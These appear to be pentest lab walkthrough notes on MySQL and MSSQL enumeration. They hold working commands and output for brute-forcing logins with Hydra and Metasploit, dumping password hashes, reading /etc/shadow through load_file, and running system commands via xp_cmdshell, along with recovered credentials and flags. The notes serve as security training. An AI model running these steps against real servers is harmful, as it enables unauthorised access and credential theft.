🔬MYSQL Enum

MYSQL - an open-source relational database management system, used to add, access and process data stored in a server database using the SQL (Structured Query Language) syntax. It's also included in the LAMP technology stack (Linux, Apache, MySQL, PHP) to store and retrieve data in well-known applications, websites and services.

Default MYSQL port is 3306.

sudo nmap -p3306 -sV -O <TARGET_IP>

Lab 1

🔬 MySQL Recon: Basics
Target IP: 192.49.51.3
MySQL server reconnaisance.

ip -br -c a
	eth1@if176632   UP   192.49.51.2/24 
nmap 192.49.51.3

nmap -sV -p3306 192.49.51.3
	3306/tcp open  mysql   MySQL 5.5.62-0ubuntu0.14.04.1

📌 MySQL server version is 5.5.62

mysql

mysql - SQL shell with input line editing capabilities.

mysql -h 192.49.51.3 -u root

MySQL [(none)]> help
# Get a list of MySQL commands

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| books              |
| data               |
| mysql              |
| password           |
| performance_schema |
| secret             |
| store              |
| upload             |
| vendors            |
| videos             |
+--------------------+
11 rows in set (0.001 sec)

📌 There are 11 databases on the server.

MySQL [(none)]> use books;
MySQL [books]> select count(*) from authors;
+----------+
| count(*) |
+----------+
|       10 |
+----------+
1 row in set (0.000 sec)

📌 There are 10 records in table authors inside the books database.

Metasploit Enum

Use the mysql_schemadump metasploit module to dump the schema of all databases.

msfconsole

use auxiliary/scanner/mysql/mysql_schemadump 
set RHOSTS 192.49.51.3
set USERNAME root
set PASSWORD ""
exploit

[+] 192.49.51.3:3306      - Schema stored in: /root/.msf4/loot/20230219145005_default_192.49.51.3_mysql_schema_310503.txt
[+] 192.49.51.3:3306      - MySQL Server Schema 
 Host: 192.49.51.3 
 Port: 3306 
 ====================
---
- DBName: books
  Tables:
  - TableName: authors
    Columns:
    - ColumnName: id
      ColumnType: int(11)
    - ColumnName: first_name
      ColumnType: varchar(50)
    - ColumnName: last_name
      ColumnType: varchar(50)
    - ColumnName: email
      ColumnType: varchar(100)
    - ColumnName: birthdate
      ColumnType: date
    - ColumnName: added
      ColumnType: timestamp
- DBName: data
  Tables: []
- DBName: password
  Tables: []
- DBName: secret
  Tables: []
- DBName: store
  Tables: []
- DBName: upload
  Tables: []
- DBName: vendors
  Tables: []
- DBName: videos
  Tables: []

Use the mysql_writable_dirs metasploit module to enumerate writable directories.

msfconsole

use auxiliary/scanner/mysql/mysql_writable_dirs
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set RHOSTS 192.49.51.3
set VERBOSE false
set PASSWORD ""
exploit

[!] 192.49.51.3:3306 - For every writable directory found, a file called UlxAUnoc with the text test will be written to the directory.
[*] 192.49.51.3:3306 - Login...
[*] 192.49.51.3:3306 - Checking /tmp...
[+] 192.49.51.3:3306 - /tmp is writeable
[*] 192.49.51.3:3306 - Checking /etc/passwd...
[!] 192.49.51.3:3306 - Can't create/write to file '/etc/passwd/UlxAUnoc' (Errcode: 20)
[*] 192.49.51.3:3306 - Checking /etc/shadow...
[!] 192.49.51.3:3306 - Can't create/write to file '/etc/shadow/UlxAUnoc' (Errcode: 20)
[*] 192.49.51.3:3306 - Checking /root...
[+] 192.49.51.3:3306 - /root is writeable
[*] 192.49.51.3:3306 - Checking /home...
[!] 192.49.51.3:3306 - Can't create/write to file '/home/UlxAUnoc' (Errcode: 13)
[*] 192.49.51.3:3306 - Checking /etc...
[!] 192.49.51.3:3306 - Can't create/write to file '/etc/UlxAUnoc' (Errcode: 13)
[*] 192.49.51.3:3306 - Checking /etc/hosts...
[!] 192.49.51.3:3306 - Can't create/write to file '/etc/hosts/UlxAUnoc' (Errcode: 20)
[*] 192.49.51.3:3306 - Checking /usr/share...
[!] 192.49.51.3:3306 - Can't create/write to file '/usr/share/UlxAUnoc' (Errcode: 13)
[*] 192.49.51.3:3306 - Checking /etc/config...
[!] 192.49.51.3:3306 - Can't create/write to file '/etc/config/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /data...
[!] 192.49.51.3:3306 - Can't create/write to file '/data/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /webdav...
[!] 192.49.51.3:3306 - Can't create/write to file '/webdav/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /doc...
[!] 192.49.51.3:3306 - Can't create/write to file '/doc/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /icons...
[!] 192.49.51.3:3306 - Can't create/write to file '/icons/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /manual...
[!] 192.49.51.3:3306 - Can't create/write to file '/manual/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /pro...
[!] 192.49.51.3:3306 - Can't create/write to file '/pro/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /secure...
[!] 192.49.51.3:3306 - Can't create/write to file '/secure/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /poc...
[!] 192.49.51.3:3306 - Can't create/write to file '/poc/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /pro...
[!] 192.49.51.3:3306 - Can't create/write to file '/pro/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /dir...
[!] 192.49.51.3:3306 - Can't create/write to file '/dir/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /Benefits...
[!] 192.49.51.3:3306 - Can't create/write to file '/Benefits/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /Data...
[!] 192.49.51.3:3306 - Can't create/write to file '/Data/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /Invitation...
[!] 192.49.51.3:3306 - Can't create/write to file '/Invitation/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /Office...
[!] 192.49.51.3:3306 - Can't create/write to file '/Office/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /Site...
[!] 192.49.51.3:3306 - Can't create/write to file '/Site/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /Admin...
[!] 192.49.51.3:3306 - Can't create/write to file '/Admin/UlxAUnoc' (Errcode: 2)
[*] 192.49.51.3:3306 - Checking /etc...
[!] 192.49.51.3:3306 - Can't create/write to file '/etc/UlxAUnoc' (Errcode: 13)

📌 2 directories are writable: /tmp and /root

Use the mysql_file_enum metasploit module to enumerate readable files.

msfconsole

use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS 192.49.51.3
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""
exploit

[+] 192.49.51.3:3306 - /etc/passwd
[+] 192.49.51.3:3306 - /etc/shadow
[+] 192.49.51.3:3306 - /etc/group
[+] 192.49.51.3:3306 - /etc/mysql/my.cn
[+] 192.49.51.3:3306 - /etc/hosts
[+] 192.49.51.3:3306 - /etc/hosts.allow
[+] 192.49.51.3:3306 - /etc/hosts.deny
[+] 192.49.51.3:3306 - /etc/issue
[+] 192.49.51.3:3306 - /etc/fstab
[+] 192.49.51.3:3306 - /proc/version

📌 10 sensitive files are readable: /etc/passwd, /etc/shadow, /etc/group, /etc/mysql/my.cn, /etc/hosts, /etc/hosts.allow, /etc/hosts.deny, /etc/issue, /etc/fstab, /proc/version

Use the mysql_hashdump metasploit module to list database users and their password hashes.

msfconsole

use auxiliary/scanner/mysql/mysql_hashdump 
set RHOSTS 192.49.51.3
set USERNAME root
set PASSWORD ""
exploit

[+] 192.49.51.3:3306 - Saving HashString as Loot: root:
[+] 192.49.51.3:3306 - Saving HashString as Loot: root:
[+] 192.49.51.3:3306 - Saving HashString as Loot: root:
[+] 192.49.51.3:3306 - Saving HashString as Loot: root:
[+] 192.49.51.3:3306 - Saving HashString as Loot: debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
[+] 192.49.51.3:3306 - Saving HashString as Loot: root:
[+] 192.49.51.3:3306 - Saving HashString as Loot: filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] 192.49.51.3:3306 - Saving HashString as Loot: ultra:*827EC562775DC9CE458689D36687DCED320F34B0
[+] 192.49.51.3:3306 - Saving HashString as Loot: guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
[+] 192.49.51.3:3306 - Saving HashString as Loot: sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
[+] 192.49.51.3:3306 - Saving HashString as Loot: udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
[+] 192.49.51.3:3306 - Saving HashString as Loot: sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

📌 8 db users are present:
debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
root:
filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
ultra:*827EC562775DC9CE458689D36687DCED320F34B0
guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

mysql -h 192.49.51.3 -u root

MySQL [(none)]> select load_file("/etc/shadow");
# /etc/shadow is readable

Reveal Flag - System password hash for user “root” is: 🚩

S1eBFuRRxwD7qEcUIjHxV7Rkj9OXaIGbIOiHsjPZF2uGmGBjRQ3rrQY3/6M.fWHRBHRntsKhgqnClY2.KC.vA/

Nmap Enum

Use nmap mysql-empty-password script to check MySQL with an empty password for root and anonymous users.

nmap --script=mysql-empty-password -p3306 192.49.51.3

3306/tcp open  mysql
| mysql-empty-password:
|_  root account has empty password

📌 root and anonymous users login is permitted without password.

Use nmap mysql-info script to check MySQL server information.

nmap -sV -sC -p3306 192.49.51.3
# mysql-info already in the default scripts
nmap --script=mysql-info -p3306 192.49.51.3

3306/tcp open  mysql
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.62-0ubuntu0.14.04.1
|   Thread ID: 57
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, ConnectWithDatabase, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, SupportsCompression, IgnoreSigpipes, LongColumnFlag, FoundRows, InteractiveClient, ODBCClient, SupportsTransactions, Speaks41ProtocolNew, LongPassword, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: u+r!I,>5/-0I_%5y&M2P
|_  Auth Plugin Name: 96

📌 InteractiveClient is supported on the server.

Use nmap mysql-users script to list all MySQL db users

nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p3306 192.49.51.3

3306/tcp open  mysql
| mysql-users: 
|   filetest
|   root
|   debian-sys-maint
|   guest
|   sigver
|   sysadmin
|   udadmin
|_  ultra

📌 DB users are: filetest, root, debian-sys-maint, guest, sigver, sysadmin, udadmin, ultra

Use nmap mysql-databases script to list all MySQL db users

nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p3306 192.49.51.3

3306/tcp open  mysql
| mysql-databases: 
|   information_schema
|   books
|   data
|   mysql
|   password
|   performance_schema
|   secret
|   store
|   upload
|   vendors
|_  videos

📌 MySQL databases are information_schema, books, data, mysql, password, performance_schema, secret, store, upload, vendors, videos

Use nmap mysql-variables script to show MySQL variables.

nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p3306 192.49.51.3

📌 The data directory used by MySQL server is datadir: var/lib/mysql/

Use nmap mysql-audit script to audit MySQL server security configuration.

nmap --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename=''" -p3306 192.49.51.3

3306/tcp open  mysql
| mysql-audit: 
|   CIS MySQL Benchmarks v1.0.2
|       3.1: Skip symbolic links => FAIL
|       3.2: Logs not on system partition => PASS
|       3.2: Logs not on database partition => PASS
|       4.1: Supported version of MySQL => REVIEW
|         Version: 5.5.62-0ubuntu0.14.04.1
|       4.4: Remove test database => PASS
|       4.5: Change admin account name => PASS
|       4.7: Verify Secure Password Hashes => PASS
|       4.9: Wildcards in user hostname => PASS
|         The following users were found with wildcards in hostname
|           filetest
|           root
|       4.10: No blank passwords => PASS
|         The following users were found having blank/empty passwords
|           root
|       4.11: Anonymous account => PASS
|       5.1: Access to mysql database => REVIEW
|         Verify the following users that have access to the MySQL database
|           user  host
|       5.2: Do not grant FILE privileges to non Admin users => PASS
|         The following users were found having the FILE privilege
|           filetest
|       5.3: Do not grant PROCESS privileges to non Admin users => PASS
|       5.4: Do not grant SUPER privileges to non Admin users => PASS
|       5.5: Do not grant SHUTDOWN privileges to non Admin users => PASS
|       5.6: Do not grant CREATE USER privileges to non Admin users => PASS
|       5.7: Do not grant RELOAD privileges to non Admin users => PASS
|       5.8: Do not grant GRANT privileges to non Admin users => PASS
|       6.2: Disable Load data local => FAIL
|       6.3: Disable old password hashing => FAIL
|       6.4: Safe show database => FAIL
|       6.5: Secure auth => FAIL
|       6.6: Grant tables => FAIL
|       6.7: Skip merge => FAIL
|       6.8: Skip networking => FAIL
|       6.9: Safe user create => FAIL
|       6.10: Skip symbolic links => FAIL
|     
|     Additional information
|       The audit was performed using the db-account: root
|_      The following admin accounts were excluded from the audit: root,debian-sys-maint

📌 No File privileges can be granted to non admin users.

Use nmap mysql-dump-hashes script to dump the password hashes.

nmap --script=mysql-dump-hashes --script-args="username='root',password=''" -p3306 192.49.51.3

3306/tcp open  mysql
| mysql-dump-hashes: 
|   debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
|   filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|   ultra:*827EC562775DC9CE458689D36687DCED320F34B0
|   guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
|   sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
|   udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
|_  sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

📌 Users hashes are:
debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
ultra:*827EC562775DC9CE458689D36687DCED320F34B0
guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

Use nmap mysql-query script to run a query against a MySQL db.

nmap --script=mysql-query --script-args="query='select count(*) from books.authors;',username='root',password=''" -p3306 192.49.51.3

3306/tcp open  mysql
| mysql-query: 
|   count(*)
|   10
|   
|   Query: select count(*) from books.authors;
|_  User: root

Lab 2

🔬 MySQL Recon: Dictionary Attack
Target IP: 10.4.16.17
MySQL server dictionary attack.

ip -br -c a
	eth1@if176858   UP   192.222.16.2/24 
nmap 192.222.16.3

nmap -sV -p3306 192.222.16.3
	3306/tcp open  mysql   MySQL 5.5.62-0ubuntu0.14.04.1

Metasploit

Use the mysql_login metasploit module to bruteforce user login.

msfconsole

use auxiliary/scanner/mysql/mysql_login 
set RHOSTS 192.222.16.3
set USERNAME root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set STOP_ON_SUCCESS true
exploit

[+] 192.222.16.3:3306     - 192.222.16.3:3306 - Success: 'root:catalina'
[*] 192.222.16.3:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hydra

Use hydra tool with the same metasploit unix_passwords list to bruteforce root login.

hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.222.16.3 mysql

[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1009 login tries (l:1/p:1009), ~253 tries per task
[DATA] attacking mysql://192.222.16.3:3306/
[3306][mysql] host: 192.222.16.3   login: root   password: catalina
1 of 1 target successfully completed, 1 valid password found

Reveal Flag - MySQL server "root" password is: 🚩

catalina

Lab 3 - nmap

🔬 Recon: MSSQL: Nmap Scripts
Target IP: 10.4.21.27
Windows MSSQL server enumeration with nmap

nmap 10.4.21.27
    135/tcp  open  msrpc
    139/tcp  open  netbios-ssn
    445/tcp  open  microsoft-ds
    1433/tcp open  ms-sql-s
    3389/tcp open  ms-wbt-server

nmap -sV -sC -p1433 10.4.21.27

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: MSSQL-SERVER
|   NetBIOS_Domain_Name: MSSQL-SERVER
|   NetBIOS_Computer_Name: MSSQL-SERVER
|   DNS_Domain_Name: MSSQL-Server
|   DNS_Computer_Name: MSSQL-Server
|_  Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-02-19T17:36:09
|_Not valid after:  2053-02-19T17:36:09
|_ssl-date: 2023-02-19T17:41:06+00:00; -1s from scanner time.

Host script results:
| ms-sql-info: 
|   10.4.21.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Sending a MS-TDS NTLM authentication request with an invalid domain and null credentials will cause the remote service to respond with a NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.
For above default scripts, nmap --script command option can also be used:

nmap --script ms-sql-info -p1433 10.4.21.27

nmap --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 -p1433 10.4.21.27

📌 Server is Microsoft SQL Server 2019

Enumerate MSSQL users and password.

nmap --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt -p1433 10.4.21.27

1433/tcp open  ms-sql-s
| ms-sql-brute: 
|   [10.4.21.27:1433]
|     Credentials found:
|       dbadmin:bubbles1 => Login Success
|       admin:anamaria => Login Success
|_      auditor:jasmine1 => Login Success

📌 Valid MSSQL users and passwords are:
dbadmin:bubbles1
admin:anamaria
auditor:jasmine1

Check empty password users.

nmap --script ms-sql-empty-password -p1433 10.4.21.27

📌 sa user is enabled with empty password.

Extract sysusers from MSSQL and store the output in a file

nmap --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * FROM master..syslogins" -p1433 10.4.21.27 -oN output.txt

Dump MSSQL users hashes

nmap --script ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria -p1433 10.4.21.27

📌 MSSQL users hashes are:
sa:0x020011dbfaf35ba0d5e61a769e3604230fde23e5d3e01e7ff0ba3875cf75554803e2f1e1977b78de8f4489c95df9be979c02f1dec551300c109c408c427934815755b600c7e0
##MS_PolicyEventProcessingLogin##:0x0200191cf079f310fb475527ac320aba7a4e8d5c3567bef2462b96ce8a8629b7f986ed344aa0963ac3a096da77056dad77a457644431282e2aa2c2243bc635abc6bb5f52552c
##MS_PolicyTsqlExecutionLogin##:0x0200677385acfe08bb1119246cf20f9d17c3a0d86bbb1d48874725f2c2e0e021260b885d0ba067427e09afad9079e6759ad6497ee7f1ef3cd497d500585d7727eeba64426083
admin:0x02003814edd67dcab815b733d877a0fe7ec3470185864bd673c7273ba76c31e000c15e9fae25a826f6ba03892e37d6a1acae17f171d21dad7b20d874ccc259bbf9fa2230b9c0
Mssql:0x02001786154bb350ac708b5a4c3fc6b90dc68418a13ba5fcb76b155f8eee14d72988edb559d9a2d0d6fd5dd25b1fab8431c0ca424d747a5743624c30aa772b40c8f23c66e6a4
Mssqla:0x0200987f06858112a7fa0c70fe3f53c64061b35ae864782fc9cfcda3954ed60ca7e47e8497a571d177edb596f125cb529d7b2753e4d8e913c2b127a12207e3bcb75f70e29cb5
auditor:0x020061cbe8509dfea47fbc20be854c4ac517bf6aa67f9f7c12d7d1efb1f500be279643c6cd19d370f9eff4f2d9b981a16f6916bc4534e8ba42d718f8b908fbfffb40d5cc1a5e
dbadmin:0x02000d6c6a0d55f536f9dbff2d8cc1e0965c550e1a1a1e7c6df8b7e6534ab817408f86dd9592b206862c4b7a3d1f6ca85f439360171d7c5143d6fba8606675dbaf5bea40d15b

Execute a command using ms-sql-xp-cmdshell nmap script.
- xp_cmdshell spawns a Windows command shell and passes in a string for execution

nmap --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" -p1433 10.4.21.27

nmap --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" -p1433 10.4.21.27

# MSSQL service is configured with xp_cmdshell enabled (no by default)

Reveal Flag: 🚩

1d1803570245aa620446518b2154f324

Lab 4 - metasploit

🔬 Recon: MSSQL: Metasploit
Target IP: 10.4.23.176
Windows MSSQL server enumeration with metasploit

nmap 10.4.23.176
    53/tcp   open  domain
    88/tcp   open  kerberos-sec
    135/tcp  open  msrpc
    139/tcp  open  netbios-ssn
    389/tcp  open  ldap
    445/tcp  open  microsoft-ds
    464/tcp  open  kpasswd5
    593/tcp  open  http-rpc-epmap
    636/tcp  open  ldapssl
    1433/tcp open  ms-sql-s
    3268/tcp open  globalcatLDAP
    3269/tcp open  globalcatLDAPssl
    3389/tcp open  ms-wbt-server

nmap --script ms-sql-info -p1433 10.4.23.176

Host script results:
| ms-sql-info: 
|   10.4.23.176:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

📌 Server is Microsoft SQL Server 2019

User Metasploit to enumerate MSSQL configuration, logins, users and execute a command on the target machine.

msfconsole -q

use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.4.23.176
set USER_FILE /root/Desktop/wordlist/common_users.txt
set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
set VERBOSE false
exploit

[*] 10.4.23.176:1433      - 10.4.23.176:1433 - MSSQL - Starting authentication scanner.
[+] 10.4.23.176:1433      - 10.4.23.176:1433 - Login Successful: WORKSTATION\sa:
[+] 10.4.23.176:1433      - 10.4.23.176:1433 - Login Successful: WORKSTATION\dbadmin:anamaria
[+] 10.4.23.176:1433      - 10.4.23.176:1433 - Login Successful: WORKSTATION\auditor:nikita

📌 sa user has empty password.

Reveal Flag - other users and passwords are: 🚩

dbadmin:anamaria

auditor:nikita

use auxiliary/admin/mssql/mssql_enum
set RHOSTS 10.4.23.176
exploit

use auxiliary/admin/mssql/mssql_enum_sql_logins
set RHOSTS 10.4.23.176
exploit

[*] 10.4.23.176:1433 - Attempting to connect to the database server at 10.4.23.176:1433 as sa...
[+] 10.4.23.176:1433 - Connected.
[*] 10.4.23.176:1433 - Checking if sa has the sysadmin role...
[+] 10.4.23.176:1433 - sa is a sysadmin.
[*] 10.4.23.176:1433 - Setup to fuzz 300 SQL Server logins.
[*] 10.4.23.176:1433 - Enumerating logins...
[+] 10.4.23.176:1433 - 38 initial SQL Server logins were found.
[*] 10.4.23.176:1433 - Verifying the SQL Server logins...
[+] 10.4.23.176:1433 - 16 SQL Server logins were verified:
[*] 10.4.23.176:1433 -  - ##MS_PolicyEventProcessingLogin##
[*] 10.4.23.176:1433 -  - ##MS_PolicyTsqlExecutionLogin##
[*] 10.4.23.176:1433 -  - ##MS_SQLAuthenticatorCertificate##
[*] 10.4.23.176:1433 -  - ##MS_SQLReplicationSigningCertificate##
[*] 10.4.23.176:1433 -  - ##MS_SQLResourceSigningCertificate##
[*] 10.4.23.176:1433 -  - BUILTIN\Users
[*] 10.4.23.176:1433 -  - EC2AMAZ-5861GL6\Administrator
[*] 10.4.23.176:1433 -  - NT AUTHORITY\SYSTEM
[*] 10.4.23.176:1433 -  - NT SERVICE\SQLTELEMETRY$SQLEXPRESS
[*] 10.4.23.176:1433 -  - NT SERVICE\SQLWriter
[*] 10.4.23.176:1433 -  - NT SERVICE\Winmgmt
[*] 10.4.23.176:1433 -  - NT Service\MSSQL$SQLEXPRESS
[*] 10.4.23.176:1433 -  - admin
[*] 10.4.23.176:1433 -  - auditor
[*] 10.4.23.176:1433 -  - dbadmin
[*] 10.4.23.176:1433 -  - sa
[*] Auxiliary module execution completed

use auxiliary/admin/mssql/mssql_exec
set RHOSTS 10.4.23.176
set CMD whoami
exploit

[*] Running module against 10.4.23.176
[*] 10.4.23.176:1433 - SQL Query: EXEC master..xp_cmdshell 'whoami'
 output
 ------
 nt service\mssql$sqlexpress
[*] Auxiliary module execution completed

use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS 10.4.23.176
exploit

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